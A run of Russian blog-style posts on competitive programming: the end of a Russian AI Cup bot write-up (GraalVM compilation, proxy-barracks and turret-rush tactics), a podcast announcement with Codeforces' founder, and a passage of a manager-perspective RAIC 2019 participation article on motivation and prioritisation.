По поводу ограничений: на всю игру, которая состоит из максимум 1000 тиков было разрешено использовать не более 40 секунд времени процесса, и максимум 1 секунду на тик. Довольно быстро я начал упираться в общий лимит. Причем мне это казалось странно, т.к. уже не один год работаю сджавой, и знаю, что она должна уступать C++ не более чем в 1.5 - 2 раза, но блин, факт на лицо, соперники на плюсах намного быстрее. Хотя конечно я не знаю, какие они используют алгоритмы...

Но в принципе, любые проблемы получалось решить с помощью профилирования. В основном это были какие-то повторяющиеся тяжелые вычисления, которые можно былозакешировать. Но, основная причина это BFS. К слову в, финальной версии суммарно BFS в разных местахотжиралгде-то 3/4 всего времени. Так что с этим поиском надо поосторожнее, запускать его как можно реже и по возможности максимально ограничивать глубину.

Медленная JVM

Насколько я помню первым бить тревогу по поводу подозрительно медленнойджавыи необъяснимых таймаутов на сервере началАндрей Рыбалка (Lama). Через какое-то время помню онсконтактировалсCommandos-ом и они вместе попытались разобраться в чем причина. Оказалось дело было вjitкомпиляторе. В принципе- этологично. Бот- этоотносительно короткоживущий процесс, а JVMрассчитываетна то, чтобы процесс жил подольше и потихоньку оптимизировался. Да,джаване настолько медленнее чем C++, но ужепослевсехjit-овыхоптимизаций, которые тоже жрут процессорное время. Был вариант запускатьджавуна сервере с некоторыми флагами, чтобы как-тотюнитьjit, но самое радикальное решение было предложеноAlexkarloid-ом.

ЧудоGraalVM

Решение состояло в том, чтобы при помощиGraalVM скомпилироватьjar-ник бота вexe, со всеми выполненными оптимизациями во время статической компиляции.Alexне поленился и написал даже стартовый пакет для того, чтобы можно было собрать этот исполняемый файл докером. Правда это хорошо работает под линуксом и маком, но не подвиндой. Ведь исполняемый файл собирался бы внутри докера, а значит под линукс. А мне нужен былвиндовыйexe, так что проще было воспользоваться утилитойnative-image, которая входит в поставкуGraalVM. Только для работы подwindowsеще требуется поставить дополнительные библиотеки отвижуалстудии и с этим возникли определенныепроблемы..Большое спасибо Андрею Ламе, что помог разобраться и Алексу зато,чтопропушилвсю эту тему. Без компиляции вexeбыло бы совсем грустно. А так стало раза в 1.5 быстрее, причем еще видно, что процессор стал не так сильно нагружаться и греться.

Кстати,уже после финала, обновил процессор сryzen1700x доryzen5800x, что дало еще двухкратное (!) ускорение прогона тестовых игр. Эх! Чего же я не сделал этогораньше..:)

Финал

С приближением финала, становилось все очевиднее, что чего-то моему боту все же не хватает.CommandosиRecarбыли явно лучше. Также подтягивались и другие топы, которые уже дышали в спину, а то и обходили. Поэтому созрел коварныйплан..Помните я говорил, что чем ближе строить барак к противнику, тем сильнее повышаются шансы на победу? Ачто,если строить барак,эмм, в центре карты. Вот так нагло и пораньше прийти и построить, даже в ущерб экономике? За два дня до финала, начал реализовывать этучизовуюстратегию, известную еще состаркрафтакак "прокси барак". Когда полностью отладил и протестировал на разных картах - ужаснулся. Это былабомба..Абсолютно никаких шансов у моей прошлой версии если учизовойполучилось поставить барак в центре.

Тем временем,Commandosактивнотестилв песочнице с моей прошлой версией (было у него близко к 100% побед) .Понятно, что стратегию до финала палить было нельзя. Потом как-то за день, в переписке сCommandos-ом, он мне намекнул, что есть некаясупер стратегия, которую он оченьбоится..Ну я, конечно, не подал вида, что что-то знаю :) Потом он чуть позже уже открыто сказал про неё, и что оказывается её уже реализует ботHiPravin. Ну я ответил в духе, что это мол сильно рискованно, и что есть карты, с трудным доступом центр, на которых это не сработает, в общем не палился до последнего.

Я долго думал, когда лучше залить этучизовуюверсию, и решил за 25 минут до окончания приема новых версий передфиналом..Тогда уже точно никто не успеет ничего сделать. На принятие версии нужно минут 10. Заливаю значит, 15 минут до конца"Отказ тестирования", версия не принята."О нет! Такого никогда еще не было! Что-то сломалось на сайте."Заливаю еще 2 раза подряд (в чате подсказали, что так можно), у второй попытке снова "Отказ тестирования", 5 минут доконца..И только 3я попытка прошла успешно."Фуууух!.."

И вот начинается финал, и этотчизначинает всех топов раз за разом разбивать! План полностью оправдался. Правда, эта стратегия оказалась все же не такой стабильной. На некоторых картах проигрывала и намного более слабым ботам. Тем не менее, она мне дала закончить на 3ем месте очень близко к первым двум, и неплохим отрывом от 4го.

Перед второй частью финала я понимал, что скорее всего топы уже подготовятся кчизу, и к тому же меня немного мучала совесть, что так бесчестно поступил, поэтому решил отключить прокси барак. Точнее не так, я хотел сделать, чтобы барак строился не прямо в центре, но чуть ближе к моей базе. По задумке 10 моих рабочих должны подбежать чуть ближе к центру, потом некоторое времяподобыватьресурсы, и потом построить барак рядом, где они остановились. Это должно было повысить стабильность против более слабых ботов. Также в тот день было немалобагфиксови улучшений. Однако, из-за спешки не протестировал хорошо новую версию. Точнее протестировал, и она показала результат наравне счизовойверсией, но мало просмотрел игр глазами. А оказалось вот что. Из-за бага очень часто этастретегиявсе же стремилась поставить барак прямо в центре, только делала эта медленнее, чем прошлая версия. От этого повышалась вероятность, что барак успеют снести набегающие лучники противника. Как следствие, во второй половине финала новая версия стала играть хуже против топов, и еще более нестабильно против более слабых ботов. Получился слив по очкам и 4е итоговое место, но и это было не так уж плохо.

Рашфотонками

Кстати,пришлось подготовится к еще одному неприятномучизу, который приготовил участникRomkaв первой части финала. А именно ранняя застройка противника турелями. Или, как это называется встаркрафте-зафотонивание, илифотонраш:)

Мой бот был совершенно не готов. Он никак не реагировал на приехавших рабочих противника, и те спокойно ставили пушки. Чтобы научиться правильно отбивать этотчиз, я должен был сам его реализовать.Почему?Чтобы выставить своегочизящегобота соперником и после этого написать правильное отбиваниечиза.

Сказано - сделано, ввел глобальный булевский флагturretRushMode, и если онtrue, то после тика 100 посылаем группу рабочих в угол соперника. Если они видят безопасное здание, то ставят возле него турель.

Все сразу заработало, как и хотелось. Потом закинул эту версию в соперники - тестирую, а она проигрывает! Как так? А вот так, сам способзафотониванияоказался одновременно и защитой отраша. Т.к. когда мои рабочие видят у себя на базе строящуюся турель, они быстро строят контртуррель(пока вражеская не достроилась она считается безопасным зданием). А моих рабочих на базе больше, вот они и успевают достроить раньше. Даже не пришлось специально гоняться за вражескими рабочими, как я думал сделать изначально.

Потом япосмотрел,как воюют 2 моих версии с отключенным флагомturretRushMode, и неожиданно обнаружил новый интересный эффект. Теперь, если оба игрока стремятся поставить барак в центре, то они начинают контрить друг друга турелями :) Выглядело это очень эффектно, и представлялось как один из вариантов контрырашабараком, если будет игра формата "рашнараш".

Во второй части финала еще 2 игрока включилирашбараком, так что эта стратегия там иногда помогала. Но чаще нет, т.к. мои рабочие слишком медленно подъезжали в центр, и не успевали достроить турель или даже заметить вражеский барак.

3 потока

Одно из улучшений, которое подсмотрел уCommandos-а, а он, если не ошибаюсь подсмотрел уRecar-а, это выпускать свои войска из барака в 3 потока. Один идет по центру, а другие два по флангам: направо и наверх. Это дает то, что фланговые потоки эффективно обходят врага, не дают его диверсантам прошмыгнуть к нам на базу и попутно атакуют рабочих. В сочетании с прокси бараком это улучшение было особенно убийственным.

Реализовано это как назначения задачи идти в некую точку, и если нет другой цели в радиусе 10, то лучник и идет к заданной точке. Когда лучник подходит на расстояние ближе 10, то задача считается выполненной, и дальше он уже действует самостоятельно.

После финала

Так получилось,что,отдохнув пару недель после финала снова увлекся улучшением бота. Удалось в целом подтянуть силу игры во всех режимах, так что бот поднялся владдередо 1-3 места. Приведу тут краткий список самых значимых улучшений.

Подтягивание лучников на защиту базы.

Ранее, лучники шли на защиту базы по общей схеме выбора цели, отдавая приоритет опасно приблизившимся врагам. Но это работало не очень хорошо, т.к. если атакуют одну сторону базы, а мои лучники с другой, то им надо пройти через дома и толпящихся рабочих. Обычный поиск пути считает рабочего препятствием, так что лучник начинал либо тупить, либо обходить слишком далеко. Чтобы это исправить использовал тот же механизм, который был при подтягивании рабочих к ресурсам и к строящимся зданиям. Только теперь подтягиваем лучников защитников. В пропорции один мой лучник на одного атакующего. При таком движении рабочие уже не считаются препятствия и если мешают пройти, то просто выталкиваются по направлению к противнику. Но если мой лучник подходит на расстояние 7 и ближе, то это поведение к нему уже не применяется и включается обычнаябоевка.

После этого также отключил приоритет в атаке близких к базе и рабочих врагов. Т.к. это уже решалось подтягиванием, и было совершенно не нужно. Это сильно усилило бота в играх на 4 игроков, т.к. атакующие врага лучники уже не так отвлекались на защиту базы и продолжали атаковать. А чем меньше лишних движений - тем лучше.

Менее пугливые рабочие

Ранее, мои рабочие бежали от врага в любой ситуации. Но ведь когда враг в бою с моими лучниками, или убегает от них - то он особо не опасен. Поэтому на таких врагов можно не обращать внимания.Меньшелишних движений рабочими - больше денег.

Другая стратегия постановки турелей

Ранее мне казалось, что в играх 1 на 1 турели особо не эффективны, аCommandosих строит уже якобы, когда выигрывает, и мог бы выиграть без них. Яошибался..Многие игры проигрываются только потому, что пару вражеских диверсантов просачиваются на базу, по одному из боковых проходов. Если бы в этом проходе уже стояла турель, то исход был быдругим..Но как узнать, как именно будут бежать вражеские диверсанты?Ведь если поставить турель не в том месте - то это пустая трата ресурсов.И когда их строить?Решение оказалось довольно оригинальным. Поскольку карта является зеркальной для обоих игроков я начал предсказывать позицию вражеских диверсантов, как отзеркаленную позицию своих. Таким образом, если мои диверсанты подбегают к противнику, то тут же мои рабочие начинают строить защитную турель против гипотетических диверсантов противника, которые бегут по тому же маршруту ко мне. Причем строят только если враг еще не слишком близко, чтобы успеть достроить.

Можно, конечно,возразить, что у других игроков диверсанты реализованы иначе. Это да, но по крайней мере это хоть сколько-нибудь обоснованное предположение о слабых точках своей базы + о таймингах, когда следует защищаться.

Турели не ставимближе,чем на расстояние 10, чтобы они были не слишком близко и не слишком далеко.

Мечники в играх на 4 игрока без тумана

По ходу соревнования я много экспериментировал чтобы сделать мечников более полезными. И считаю, что мне это удалось, но для игр 1 на 1. Проблема только в одном: строить барак для них этослишком дорого. Но вот в играх с 4 игроками без тумана барак ужеесть..В чем же заключалась моя стратегия для мечников?

• Строить их не больше 10 - иначе они становятся слишком дорогими.

• Если 1 на 1 с лучником - мечник нападет.

• Если вражеских лучников больше 1, то для нападения должно быть больше моих мечников внекомрадиусе, иначе - бегство.

С такой стратегией мечники довольно неплохо нападают на не очень плотные скопления лучников и заставляют их отступать. Этим выигрывается пространство и тянется время.

В чем же проблема такой стратегии в играх на 4 игроков?В играх на 4 игроков расположение бараков таково, что барак лучников, ближе к противнику по часовой стрелке, и чаще всего лучники нападают именно на него. Первыми на их пути встает барак мечников. Так вот если мечники начинают выходить, и отгонять первых лучников, то постепенно теотступая скапливаются вдезбол, который в конечном итоге уже не боится мечников и простопроиходити сносит все на своем пути. Тогда как если отбиваться лучниками размениваясь, то этотдезболне будет копиться.

Улучшение состояло в том, что мечники теперь приотсутствиицели в радиусе 10 не идут бездумно атаковать базу врага, а вместо этого идут к ближайшему лучнику и становятся как бы его телохранителями. И потом, когда лучник встречает врага, помогают ему. Таким образом мечники и лучники уже не действуют разрозненно как раньше.

С этим улучшением удавалось отгонять как самые первые ранние атаки, так и в последствии усиливать атаки лучников, эффективно снося турели, которые довольно выгодно строить в играх на 4 игроков.

Также для мечников было добавлено групповое отступление, как уже было для лучников и рабочих, чтобы приотступленииони мешали друг другу.

Послесловие

Еще раз спасибо организаторам за этот конкурс, это было незабываемо!

И конечно спасибо игрокам. То что мы на месяц выпадаем из жизни и с интересом и азартом работаем над одной задачей, пусть и каждый сам по себе - в этом есть что-то магическое :)

В этом выпуске подкаста ITMO Research Михаил Мирзаянов, основатель платформы Codeforces и ассистент факультета информационных технологий и программирования Университета ИТМО.

Выпуск доступен здесь:

• Apple Podcasts

• Яндекс.Музыка

• Google Podcasts

• PodFM

Таймкоды по основным темам:

00:48 как Михаил познакомился со спортивным программированием, что его зацепило;

05:31 зачем понадобился такой проект как Codeforces, что подтолкнуло к его разработке;

08:08 что из себя представляла эта платформа в самом начале пути, примеры решений;

10:30 как можно оценить динамику развития сферы спортивного программирования;

14:58 личный опыт в этой области, участие в финалах ICPC и работа с учениками;

19:40 общие моменты относительно технологического стэка Codeforces;

23:13 потенциальные возможности для улучшения по мнению Михаила;

25:10 как часто проходят соревнования, что нужно для подготовки к ним;

32:35 что сейчас можно сказать об интересе к теме со стороны компаний;

37:08 нужно ли строить карьеру в области спортивного программирования.

Подкаст готовит и ведет@dmitrykabanov

Другие выпуски подкаста с таймкодами на YouTube:

• Что ждет начинающих ученых в сфере МО

• Какие проекты готовит лаборатория молодежной робототехники

• Информационная безопасность и системы квантовой рассылки ключа

• Какие образовательные возможности предлагает новый центр Инфохимии

• AR на стадионе, агентное моделирование и мультидисциплинарный геймдев

• Как лаборатория молодежной робототехники готовит учеников к соревнованиям

Данная статья рассмотрит процесс моего участия с тёмной стороны - менеджера проектов. Немного о мотивации, немого о времени и приоритетах. За светлой стороной технических деталей лучше обратится к статьям T1024, Lama, SilentNox.

Надеюсь данной статьёй, во-первых, приободрить тех, кто собирается участвовать первый раз и развеять мысли, что там все призы уже давно поделены между топами, а, во-вторых, может быть кому-то помочь в работе.

Кратко для тех кому лень читать: поток и работа с мотивацией, приоритизация и адаптация, сделать лучше, чем было, а не идеально.

О чемпионате

В 2019 году задачей было написать бота для 2d шутера. Вот пример видео от Lama:

Чемпионат проходит в несколько этапов, каждый длинной в одну неделю:

1. Бета тестирование.

2. Первый этап. Перезапуск с незначительными изменениями правил по результатам теста. Боты регулярно сражаются друг с другом в песочнице. В конце недели первый раунд.

3. Второй этап. Правила игры усложняются, у каждого бота в управлении уже не один, а два человечка. В песочнице проходят бои по правилам и первого, и второго этапа. В конце недели второй раунд соревнования - участвуют 200 победителей первого раунда+около 60 лучших из песочницы.

4. Финальный раунд. Очередное изменение правил - карты становятся сложнее. Без поиска пути на них делать нечего. Бои в песочнице по правилам всех раундов. Финал - 50 победителей второго раунда+10 лучших песочницы. Призовые первые 6 мест.

Какие нужны навыки?

Кажется очевидным, что для победы необходимо:

• Хорошо уметь программировать, чтобы это ни значило.

• Иметь опыт участия в подобных соревнованиях, желательно в RAIC прошлых лет.

• Начать со старта беты - это дополнительная неделя.

Заканчивается первый этап (прошла примерно половина времени) - присоединяется человек, который ни дня не работал программистом и только иногда писал скриптики для автоматизации работы, а в соревновании участвовал только много лет назад в школе на pascal. Ваши ставки на место? Мои ставки до того, как я понял, о чём вообще речь, были: ну я потыкаю, как оно вообще работает, и хватит, а после первого знакомства - "надо войти в топ 250 - во второй раунд и получить футболку, как участник второго раунда". У меня большое самомнение : )

Посмотрим ещё раз на задачу. Нас просят не написать чистый алгоритм - Вася варит n яиц в m кастрюлях. Это задача уровня выше - вот цель, вот правила, вот ограничения. Вам нужно за имеющееся время написать наилучшее решение. Тут можно выделить много подзадач из серии У вас оружие с параметрами p1, у врага c параметрами p2 - найдите оптимальную для вас дистанцию стрельбы. Т.е. помимо решения отдельных маленьких подзадач, нам нужно их самому правильно сформулировать и приоритизировать. А потом выбрать нужный баланс между качеством и трудозатратами с учётом ограниченного времени.

При этом нам нужно найти не абстрактное наилучшее решение, а решение лучше, чем у других. Рассмотрим остальных участников, как часть VUCA мира, как часть игры, а не как соперников. Очевидно, что задача нашего продукта - быть адекватным реальному миру, а не вымышленному. И если стратегия соперников изменилась и стала/может приносить им победу, это значит лишь то, что надо пересмотреть приоритеты и задачи, насколько они соответствуют новому миру.

Итого для данного чемпионата добавились два важных навыка:

• Гибкость, скорость реакции на изменения мира, готовность изменять стратегию.

• Постановка и выбор наиболее важных задач.

Хм а это точно чемпионат не для тимлидов, аналитиков и менеджеров? Ах, задачи придётся выполнять самому, а не отдавать программистам.

Итак, очевидно, что времени для идеального исполнения мне не хватает. Судя по сложности задачи, предположу, что и большинству участников не хватит тоже, даже несмотря на то, что у них 4 недели, а не 2. Итак мы имеем функцию от времени f(t)->max. Осталось понять что мы будем максимизировать. На первый взгляд, финальное место в рейтинге/крутость бота. И в слагаемых функции будут всякие параметры стратегии. Допустим уклонение от пуль, стрельба, поиск пути. Распределяем время на разработку по этим параметрам - и мы победили : ) Ладно, добавим фундаментальные исследования - изучение платформы, подтягивание знаний ЯП, рефакторинг и оптимизацию. Но люди не машины и в разных условиях одна и та же задача может занять и 2 и 8 часов. Поэтому нам нужно также решить задачу поддержания высокой производительности. Поэтому первую часть чемпионата я буду максимизировать удовольствие от участия, для повышения мотивации продолжать. А место в рейтинге будет всего лишь замечательным искусственным индикатором эффективности, рост рейтинга - быстрая положительная обратная связь.

Вы показалось, что разницы нет? Она в том, что для первого случая нам достаточно победить в конце, а для второго нам необходимы постоянные маленькие победы.

Из-за стартового штрафа в 2 недели остаётся только работать в потоке. А здесь тонкая грань работы с мотивацией. Судя по чату, часть людей выгорела до конца чемпионата. Грубо говоря на решение задачи мы тратим ресурс мотивация, а в случае успешного решения его получаем. Я начинаю с дефицитом мотивации, поэтому на решение большой задачи её не хватит.

Платформа

Вот тут большой респект организаторам.

На самом деле платформа очень игрофицированна. И все 4 типа фана, и эстетика с отсылкой на старые игры, и всяческое подкрепление мотивации (от быстрой обратной связи до последовательного роста сложности), внешняя мотивация, которая и работает и не перебивает внутреннюю.

Обычно в самом начале у участников часто мотивация низкая (что это вообще такое, нужно ли оно мне, может время на что-то другое потратить?) и высокий порог входа однозначно отсечёт сомневающихся. Например меня бы точно отсёк. Здесь же на старте сразу даётся:

• Базовая работающая стратегия. Хватай пушку, беги к врагу и стреляй. На разных ЯП.

• Визуализатор (local runner), который позволяет сыграть самому мышкой и клавиатурой против бота или же запустить своего бота против стартовой стратегии/другой версии своего бота. И показывает собственно сам бой.

• Простые правила первого раунда. Один юнит и простая карта.

• Песочница, где залитые стратегии регулярно сражаются друг с другом и результат отражается в виде рейтинга.

Это дает возможность за 10 минут добавить к базовой стратегии, допустим, сбор аптечек и сразу же увидеть результат - моментальная положительная обратная связь. Причём по нескольким каналам восприятия: и сам сбор аптечек, и звук сбора и возросший шанс на победу - чаще побеждает бот. Что в свою очередь даёт мозгу информацию А это не так и сложно. Если за 10 минут мы уже столького добились, то давай попробуем вложить больше времени, прикинь какой тогда эффект будет?.

Вместо прямого подхода: Изучи API, все правила, алгоритмы, связи, а потом уже что-то сделаешь и получишь результат, мы имеем сделай чуток и получишь небольшой результат, изучи правила и сможешь получить результат побольше, углубились в модель и результат станет ещё больше.

Да нас сама платформа подталкивает работать в потоке! Осталось только помочь ей!

Немного теории о потоке и модели Фогга в моём кратком изложении.

Поток М.Чиксентмихайи. Есть субъективная сложность задачи и субъективная оценка своих навыков. В зависимости от соотношения этих параметров, задачи вызывают разные эмоции и состояния.

• Сложность >> Навыка - тревога

• Сложность << Навыка - скука.

• Сложность ~ Навыку - потоковое состояние - максимальная концентрация на задаче, чувство потери времени, озарения и т.п. Но ресурсозатратно для организма.

По умолчанию считается, что человек выбирает сложность чуть меньше навыка. Комфортная работа, без сверхусилий. Мозг же не дурак и сильно напрягать организм и себя без необходимости не хочет.

Для потока, конечно же, недостаточно только адекватной сложности, но чтобы не увеличивать объём статьи я просто скажу, что задача и система чемпионата отлично подходит для потокового состояния и обладает необходимыми критериями. Что же нужно нам: усложнять задачи по мере роста навыков, обеспечить себе быструю обратную связь на усилия, обеспечить какое-то измерение прогресса.

В теории Фогга говорится что для совершения действия необходимо:

1. чтобы мотивация была выше, чем затраты усилий на за задачу;

2. толчкок/тригер/напоминание для совершения действия.

Можно создавать события повышающие мотивацию, снижающие (субъективную) сложность и просто напоминания.

Для завершения теоретической базы хочется добавить ещё:

• Не ассоциировать качества своей личности с результатом. Т.е. если вы не заняли первое место, это не значит, что вы тупой : ) Именно этот момент часто останавливает людей от серьёзного включения. При такой установке логичнее не прикладывать максимум усилий. Чтобы оставить себе иллюзию, что если бы я действительно старался бы, то победил. Сошлюсь тут на свою же статью (список более серьезной литературы в конце приложенной статьи).

• Фундаментальная ошибка атрибуции. Чтобы здраво оценивать свои достижения и достижения других и своевременно реагировать.

• Путь героя Кэмпбелла. В кратком виде, он отлично ложится на мотивации, отношение, серьёзность участника, а также предупреждает об основных моментах отсева. Вход (а что это, а зачем, а оно мне надо?), дорога испытаний (первые действия, решение первых проблем, первые результаты), встреча с богиней/женщина-искусительница (оказывается тут ещё дофига всего делать, может ну его? оно того не стоит? Около запуска правил второго раунда), примирение с отцом - основной этап.

Программист VS менеджер

Так получилось, что в качестве аватарки я использовал логотип моего проекта по развитию soft skills, поэтому лично для меня этот чемпионат ещё превратился в проверку гипотезы могу ли я за счёт soft skills компенсировать недостаток hard skills.

Для решения данной задачи я выделю в себе внутреннего программиста и внутреннего менеджера. На мой взгляд, многие места ниже моего обусловлены, в том числе, победой программиста над менеджером. Для простоты представьте, что программист - это такой junior: глаза горят, идей много, готов сидеть ночами и осваивать всё подряд, практический опыт странный.

Как мой jun хочет начать - ну сейчас развернём систему автоматического сравнения силы версий, напишем свою общую универсальную модель поведения, чтобы потом можно было её легко модифицировать и расширять, для тестов надо будет написать стратегии противников разного стиля поведения. О! Ещё я слышал про разработку через тестирование, попробуем покрыть весь код тестами!

Что происходит при этих словах в голове у менеджера - крутится абстрактный счётчик сложности задачи, который резко отодвигает хоть какой-то результат. Напомним, что наш программист jun и ничего ещё не умеет, но верит, что быстро разберётся. Если бы я так начал, то скорее всего помер бы, погребённый сложностью своей модели и количеством неизведанного. Результата мало, сложность постоянно растёт, время кончается.

Работа менеджера: выделение таких задач, которые приводят к победе, и при этом способствуют сохранению мотивации программиста. На первом этапе низкого погружения, низкой мотивации необходимы быстрые и значимые результаты.

Общий подход менеджера - не надо решать задачу идеально, надо решать по наилучшему соотношения польза/время.

История участия

Начало. Тут какое-то соревнование идёт? Выглядит симпатично, давай глянем. Погружение низкое. Навык и мотивация тоже. Задача: решить участвовать или нет.

Смешной факт - глянув на призы я сказал, что ну, пожалуй, возьму четвёртое место. Первые два, наверное, без шансов, за третье дают iPad, а я в них на работе наигрался, а за четвёртое умные часы. Тоже нафиг не нужны, но смешно поиграться будет. Конечно это была больше шутка, т.к. я сомневался, что и в топ 50 войду.

Открываю пример кода стартовой стратегии на Python И половину не понимаю. Программист: Тут пипец сложно, это не мой уровень только разбираться во всём будем неделю. А и так уже 2 недели соревнования прошло. Пошли отсюда.. Менеджер: Давай глянем другие примеры, общая логика-то понятна.

К счастью пример на C# оказался написан попроще, а там уже в Python стало понятно. Но что делать? После игры со стартовой стратегией кажется, что она и так уже играет идеально. Быстрый анализ выдал - подбирай аптечки и уворачивайся от пуль. Программист, конечно же захотел всё это реализовать, а в идеале увязать в единую логику, только неясно как. Менеджер: давай вначале аптечки сделаем. Аптечки делались копированием кода подбора оружия и заменой пары значений. 10 минут, запускаем - оно работает! Моего уровня достаточно для написания RAIC!

//простая задача, моментальная обратная связь, выдаваемая в том числе в виде красивой визуализации.

Время уворачиваться от пуль.

П: хочет писать идеальный код уворота от всех пуль.

М: хм а давай прикинем, на каком расстоянии нам держаться от врага, чтобы успеть увернуться, и будем стараться его соблюдать, а дальше прикинем, что будет, если за время подлёта пули мы могли бы сместится на любое из 6 направлений. Если что-то позволит избежать встречи с пулей, то смещайся туда.

П: но там же может быть стена, или я не могу сейчас прыгать или ещё что.

М: просто игнорируй это.

П: это же часто будет не срабатывать!

М: пусть это будет срабатывать в 50% случаев. Для простоты будем считать, что в среднем нужно попасть по врагу 4 раза, вероятность попасть 20%, скорострельность одинаковая. Тогда у врага шанс попасть в нас 10%, а у нас в него 20%. Это даст нам около 84% побед, при куда меньших затратах времени. Наша же задача побеждать не всегда, а чаще, чем оппонент. А оставшиеся 16% потребуют для реализации куда больше времени, чем этот алгоритм, но дадут куда меньше пользы на данном этапе.

Сейчас суббота, пауза на сутки в первом раунде. Притворимся, что мы могли бы участвовать и нам нужно сделать стратегию, которая более менее достойно выступила бы, если бы нас взяли во вторую часть первого раунда

//использование дедлайна для стимуляции- приём известный всем студентам.

Итого за день разработки есть базовое понимание, как тут что устроено, как работать с моделью, стратегия которая уверенно побеждает стартовую и которая выглядит куда лучше, чем большинство стратегий нижней половины рейтинга. При тестовом сравнении с другими (не топовыми) стратегиями она чаще всего побеждала.

Но есть проблема - стреляет стартовая стратегия всегда в сторону врага. Не парясь на то, что на пути может быть стена. И базука в руках юнита часто приводит его к самоубийству.

П: Ну это позор, такое выкатывать нельзя, сейчас напишем детальный обсчёт куда полетит снаряд, правда он вылетает в случайном направлении из диапазона, но это тоже можно обсчитать.

М: пф, запретим юниту брать базуку, пусть берёт всё остальное.

//5 минут, +1 доп условие и резкий буст к победам.

Это дало: резкое усиление мотивации. Показало, что не всё так сложно и как минимум в первую половину участников мы уже легко попадаем. Нужно участвовать!

Стратегия и правда легко прошла после открытия песочницы в понедельник с 1000+места в топ 300. Несколько напоминает MVP.

Дорога испытаний. Началась песочница второго раунда. 5 дней боты сражаются друг с другом, а потом победители первого раунда и 60 других лучших песочницы примут участие во втором раунде. Задача понятна - попасть во второй раунд. Т.е. войти в эти 60 за 5 дней.

К сожалению для меня задача усложнилась, теперь в бою часто участвуют уже 2 юнита с одной стороны. Все-то научились одним управлять в первую неделю, а теперь время командной работы. А я ещё с одним не разобрался. Посмотрев на игры, я выделил следующие зоны развития: Стрельба, уворот, контроль поля, командная работа, доп фичи. 0% реализации в любой зоне, кроме доп фич, даёт резкое падение эффективности, при этом до 20-30% доводится довольно быстро, и даёт сильный взлёт. Т.е. 20% стрельба и 20% уворот выгоднее, чем 90% уворот и 0% стрельба (почти невозможно победить не стреляя).

Текущая задача говорит, что основные конкуренты сейчас не топы, а соседи по рейтингу. Чтобы гарантированно уложится во время, надо сосредоточится на максимальном усилении против них, желательно максимально быстро.

Командной работы тут ни у кого нормальной нет и выигрыш по оценкам она пока даёт небольшой. Быстро пилю свои 10% (не стреляй в спину своему) и возвращаюсь к другим доработкам.

Время просмотра игр и анализа причин побед и поражений. Желающие выпендриться могут применить SWOT матрицу, а я по простому: это у меня хорошо, это - не очень, ну и ладно, такая слабость есть у многих врагов - используем, а это часто приносит проигрыш - срочно пофиксить. В целом то же самое, но без умного слова.

Во вторник занимаю двухсотые места в рейтинге. В среду вхожу в топ 100 - шанс не попасть во второй раунд мизерный. Задача выполнена.

Что мы имели на этом этапе. Много мелких и относительно быстрых исправлений, дающих очень быструю обратную связь - и визуально видно действие ботиков и рейтинг быстро даёт информацию. Всё это позволяет держаться в потоке и даёт постоянные позитивные подкрепления. Текущее место наглядно показало, что мои текущие способности вполне ничего и не боги тут участвуют. А это сместило субъективные навыки повыше, а относительную сложность задач пониже, что дало мне возможность легче браться за более сложные задачи.

Теперь задача во втором раунде войти в топ 50, чтобы попасть в финал. Всё в базовом виде реализовано, общая логика работы понятна. Мотивация высокая и не требуется постоянное подкрепление. Можно теперь потратить время на фундаментальные исследования и вложения в будущее - переписать код понятнее, сделать сложные расчёты. Где-то здесь были переходы к более универсальным моделям, понятной структуре. Здесь же я допустил ошибку и начал писать симуляцию на 60 тиков (ходов) вперёд перебором. Каждый ход есть 9 вариантов действия юнита. На первый ход 9 вариантов, на второй 81 и т.д. Представляете порядок 9^60 (и это только для одного юнита, а в идеале считать все перемещения всех четырёх)? Это очень много - не рассчитывается за адекватное время. Ну а мои программист и менеджер проглядели этот момент. Программист только теоретически знает о сложности алгоритмов, а менеджеру кажется логичным подход когда компьютер считает(работает), а человек думает. Знакомые настоящие программисты когда я им потом рассказывал этот момент громко ржали : )

К счастью, были промежуточные проверки и несостоятельность идеи стала ясна до полной реализации. Потеряны были только несколько часов, зато общая уточнённая модель мира потом очень пригодилась.

Утро пятницы, код стал упорядоченнее, некоторые функции уже выглядят не как мешок ifов и магических циферок

//не нравится мне, что бот жмётся к краю карты - там увороты хуже работают и его там расстреливают, - сделай, чтобы он старался захватывать минимум четверть поля. Как? Повысь агрессивность, если позади Москва.

Надо дальше писать - ночью стартует раунд! Но 6 дней потока заметно сказываются. Есть риск, что если сегодня будет такой же день, то я выгорю. Так что беру день отпуска от ботиков. Это было очень мудрое решение.

Конец первой части второго раунда. Моё место около 14. Есть 24 часа на правки. День отдыха дал о себе знать. Это было почти 24 часа программирования запоем. Пригодились мои фундаментальные исследования геометрии пуль, деталей прицеливания, разброса и т.п. Симуляция многих моментов, была сильно улучшены за счёт перехода на новую более тщательную и быструю модель мира. Остаётся 4 часа до запуска. Мозг уже заканчивается. В поисках, что бы ещё быстро и не сложно улучшить, перечитываю документацию. О! Есть мины. Я ими ещё не пользуюсь, т.е. они реализованы на 0%. Значит, возможно в них можно немного вложить и получить заметный рост. А есть проблема. Мой рейтинг побед около 90%. Стартовая стратегия работает по принципу: беги и прилипай вплотную к сопернику. Из-за особенностей карт держать дистанцию удаётся недолго, а вплотную уже неважно, насколько точно целиться и как уворачиваться. И мой условный шанс победы над стратегией, которая идет на сокращение дистанции, около 80%. Вроде хорошо, но это меньше моего текущего рейтинга побед. Простых стратегий довольно много. По правилам игры трюк поставить себе мину под ноги и взорваться вместе с врагом выгоден по очкам. Это кажется проще всего и надёжнее для защиты от любителей подойти вплотную. Пара строчек, пара ifов, мол если случайно всё совпало и есть мины, и враг уже рядом, и союзника рядом нет, то взрывайся нафиг, не испытывай судьбу. Конечно, программисту это было чуть скучнее и он рвался реализовывать хитрое чередование союзников по перезарядке оружия.

Общие улучшения были на пользу. Примерно 12 место второго раунда. Мины пару раз помогли, пару раз из-за неточных условий наоборот, но в целом скорее положительный баланс.

Встреча с богиней. Конец второго раунда. Правила меняются - карты теперь сложные и нужно писать поиск пути, а я ни в зуб ногой как решаются такие задачи. К тому же я писал на Python и последние дня буквально ногами впихивал решение в лимиты по времени. Поиск пути - это сильное усложнение, а лимиты те же. Толстовку я уже получу, а как дальше подниматься, неясно. Можно уже забить и отдохнуть.

Тут мне с мотивацией помогает уже достигнутое высокое место в раунде, обсуждения в чатике соревнования про CProfile и Cython (снижение сложности), и несколько друзей, которые свято уверены, что я просто очень умный и могу занять призовое место (немного повышение мотивации, немного повышение субъективного навыка).

